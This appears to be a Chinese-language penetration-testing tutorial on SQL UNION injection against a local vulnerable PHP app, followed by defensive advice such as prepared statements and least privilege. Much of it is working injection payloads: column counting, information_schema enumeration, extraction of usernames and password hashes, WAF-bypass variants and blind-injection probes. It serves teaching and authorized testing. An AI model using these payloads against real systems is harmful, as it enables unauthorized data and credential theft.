1. 深入理解SQL注入与UNION注入原理
SQL注入攻击是Web安全领域最常见也最危险的漏洞之一。作为一名渗透测试工程师,我经常在各种Web应用中发现这类问题。其中,UNION注入是最基础但威力巨大的攻击方式。
SQL注入的本质是攻击者通过构造特殊输入,改变原有SQL语句的逻辑结构。当应用程序直接将用户输入拼接到SQL查询中而没有进行适当处理时,这种攻击就可能发生。UNION注入则是利用SQL中的UNION操作符,将恶意查询结果附加到合法查询结果中。
重要提示:本文所有技术内容仅用于合法安全测试和教育目的,未经授权的渗透测试可能违反法律。
1.1 UNION操作符的工作原理
在标准SQL中,UNION用于合并两个或多个SELECT语句的结果集。关键特性包括:
- 结果集列数必须相同
- 对应列的数据类型必须兼容
- 默认会去除重复行(使用UNION ALL可保留)
例如正常查询:
sql复制SELECT product_name, price FROM products WHERE category='electronics'
UNION
SELECT product_name, price FROM discontinued_products
攻击者正是利用这一特性,在存在漏洞的应用中注入额外的SELECT查询,从而获取未授权的数据。
1.2 UNION注入的适用条件
根据我的实战经验,成功的UNION注入需要满足以下条件:
- 存在可注入的输入点(如URL参数、表单字段等)
- 应用程序直接拼接用户输入到SQL语句中
- 注入点位于SELECT语句的特定位置
- 能够看到查询结果(回显注入)或通过其他方式推断结果(盲注)
2. UNION注入实战步骤详解
下面我将结合本地测试环境,详细演示UNION注入的全过程。这个流程是我在多年渗透测试工作中总结的标准方法。
2.1 环境准备与注入点确认
首先需要搭建测试环境:
- 使用XAMPP或WAMP套件搭建本地PHP+MySQL环境
- 部署一个存在SQL注入漏洞的示例应用
- 推荐使用Firefox浏览器配合渗透测试插件
假设我们测试的URL是:
code复制http://localhost/vulnapp/showarticle.php?id=1
2.1.1 基础注入测试
尝试添加单引号测试:
code复制http://localhost/vulnapp/showarticle.php?id=1'
如果页面返回数据库错误(如MySQL语法错误),则很可能存在SQL注入漏洞。这是最基础的注入点确认方法。
2.1.2 确定注入类型
通过以下测试判断注入类型:
- 数字型:
id=2-1如果返回与id=1相同,则是数字型 - 字符型:需要处理引号和注释
在我们的例子中,id=2-1返回与id=1相同的结果,确认是数字型注入。
2.2 确定查询列数
使用ORDER BY子句确定查询返回的列数:
code复制http://localhost/vulnapp/showarticle.php?id=1 order by 1
http://localhost/vulnapp/showarticle.php?id=1 order by 2
...
当order by 5报错而order by 4正常时,说明原始查询返回4列。
专业技巧:现代渗透测试中常用Burp Suite的Intruder模块自动化这个过程,比手动测试高效得多。
2.3 定位有效回显列
确定列数后,需要找出哪些列会显示在页面上:
code复制http://localhost/vulnapp/showarticle.php?id=-1 union select 1,2,3,4
这里使用id=-1确保原始查询不返回结果,使UNION查询结果能够显示。页面中显示的数字即为可用的回显列。
2.4 获取数据库信息
2.4.1 基础信息收集
利用可回显列获取数据库版本和当前数据库名:
code复制http://localhost/vulnapp/showarticle.php?id=-1 union select 1,version(),database(),4
这将显示MySQL版本和当前使用的数据库名称。
2.4.2 查询所有数据库
通过information_schema获取所有数据库:
code复制http://localhost/vulnapp/showarticle.php?id=-1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
这将返回类似information_schema,mysql,performance_schema,vulndb的结果。
2.5 提取表结构信息
假设我们目标数据库是vulndb,首先查询其中的表:
code复制http://localhost/vulnapp/showarticle.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='vulndb'
可能返回结果如:users,products,orders
2.5.1 获取表字段
查询users表的所有字段:
code复制http://localhost/vulnapp/showarticle.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='users' and table_schema='vulndb'
可能返回:id,username,password,email,is_admin
2.6 提取敏感数据
最后获取实际数据:
code复制http://localhost/vulnapp/showarticle.php?id=-1 union select 1,username,concat(password,'|',email),4 from vulndb.users limit 0,1
对于密码哈希,可以使用以下方式批量获取:
code复制http://localhost/vulnapp/showarticle.php?id=-1 union select 1,2,group_concat(username,':',password),4 from vulndb.users
3. 高级技巧与防御绕过
在实际渗透测试中,经常会遇到各种防御措施。以下是几种常见情况的处理方法。
3.1 处理过滤和WAF
3.1.1 大小写变异
code复制http://localhost/vulnapp/showarticle.php?id=-1 UnIoN SeLeCt 1,2,3,4
3.1.2 注释分割
code复制http://localhost/vulnapp/showarticle.php?id=-1/**/union/**/select/**/1,2,3,4
3.1.3 十六进制编码
code复制http://localhost/vulnapp/showarticle.php?id=-1 union select 1,2,unhex(hex('admin')),4
3.2 盲注技术应用
当没有直接回显时,可以使用基于时间的盲注:
code复制http://localhost/vulnapp/showarticle.php?id=1 and if(substring(database(),1,1)='a',sleep(5),0)
或者基于布尔值的盲注:
code复制http://localhost/vulnapp/showarticle.php?id=1 and substring(database(),1,1)='a'
4. 防御措施与最佳实践
作为开发人员,应当采取以下措施防止SQL注入:
4.1 参数化查询
使用预处理语句(PHP示例):
php复制$stmt = $pdo->prepare("SELECT * FROM articles WHERE id = ?");
$stmt->execute([$id]);
4.2 输入验证
严格限制输入类型和格式:
php复制if (!is_numeric($id)) {
die("Invalid input");
}
4.3 最小权限原则
数据库用户只应拥有必要的最小权限,避免使用root或高权限账户。
4.4 Web应用防火墙
配置WAF规则过滤常见注入模式,但要注意这不能替代代码层面的防护。
5. 实战经验与常见问题
在多年的渗透测试工作中,我总结了以下宝贵经验:
5.1 常见错误排查
- UNION列数不匹配:确保UNION前后SELECT列数相同
- 数据类型不兼容:尝试将数字转为字符串
CAST(1 AS CHAR) - 结果截断:使用
substring()或limit处理大量数据
5.2 效率优化技巧
- 使用
group_concat()代替多行结果 - 优先查询information_schema获取元数据
- 对大型数据库使用
limit分批次获取数据
5.3 特殊场景处理
- 二阶注入:即使使用预处理,存储的数据被二次使用时仍可能产生注入
- JSON响应:现代API可能返回JSON格式的错误信息
- NoSQL注入:非关系型数据库也有类似的注入风险
在实际测试中,每个环境都可能有其特殊性。重要的是理解原理并灵活应用各种技术。记住,渗透测试一定要获得书面授权,并遵守法律法规。